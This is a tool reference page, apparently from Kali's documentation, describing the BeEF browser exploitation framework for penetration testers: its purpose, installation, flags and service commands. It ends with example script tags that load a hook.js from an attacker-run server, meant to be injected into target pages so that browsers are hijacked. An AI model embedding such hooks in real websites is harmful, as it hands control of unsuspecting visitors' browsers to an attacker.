Exploitationbrowserexploitationxsspenetrationweb

BeEF XSS

BeEF is the Browser Exploitation Framework, a penetration testing tool focusing on web browser vulnerabilities. It hooks browsers to launch client-side attacks and assess security from within the browser context.

Description

BeEF, short for The Browser Exploitation Framework, is a penetration testing tool that targets web browsers amid concerns about web-born attacks against clients, including mobile clients. It enables professional penetration testers to evaluate the actual security posture of target environments using client-side attack vectors. Unlike other frameworks, BeEF bypasses hardened network perimeters and client systems to examine exploitability through the open door of the web browser.

BeEF hooks one or more web browsers, using them as beachheads for directed command modules and further attacks launched from within the browser context. This approach allows testers to launch attacks against the system directly from the compromised browser environment. The tool is particularly useful for assessing browser-based vulnerabilities in real-world scenarios.

How It Works

BeEF starts a service that provides a Web UI at http://127.0.0.1:3000/ui/panel and a hook script at http://<IP>:3000/hook.js. Browsers load the hook.js script to get hooked, establishing a connection back to BeEF, which then uses the browser as a platform to execute command modules and launch further attacks within the browser sandbox.

Installation

bash
sudo apt install beef-xss

Flags

-hShows help and prompts to change default credentials (Password must be different from "beef")

Examples

Starts the BeEF service, displays Web UI URL (http://127.0.0.1:3000/ui/panel) and hook script example, opens UI in browser
beef-xss
Displays help message and prompts for new password since using default credentials
beef-xss -h
Stops the BeEF service
beef-xss-stop
Shows help for beef-xss-stop and service status
beef-xss-stop -h
Example hook script to embed in target pages to hook browsers to BeEF
<script src="http://127.0.0.1:3000/hook.js"></script>
Generic hook script example using target IP to connect browsers to BeEF instance
<script src="http://<IP>:3000/hook.js"></script>
Updated 2026-04-16kali.org ↗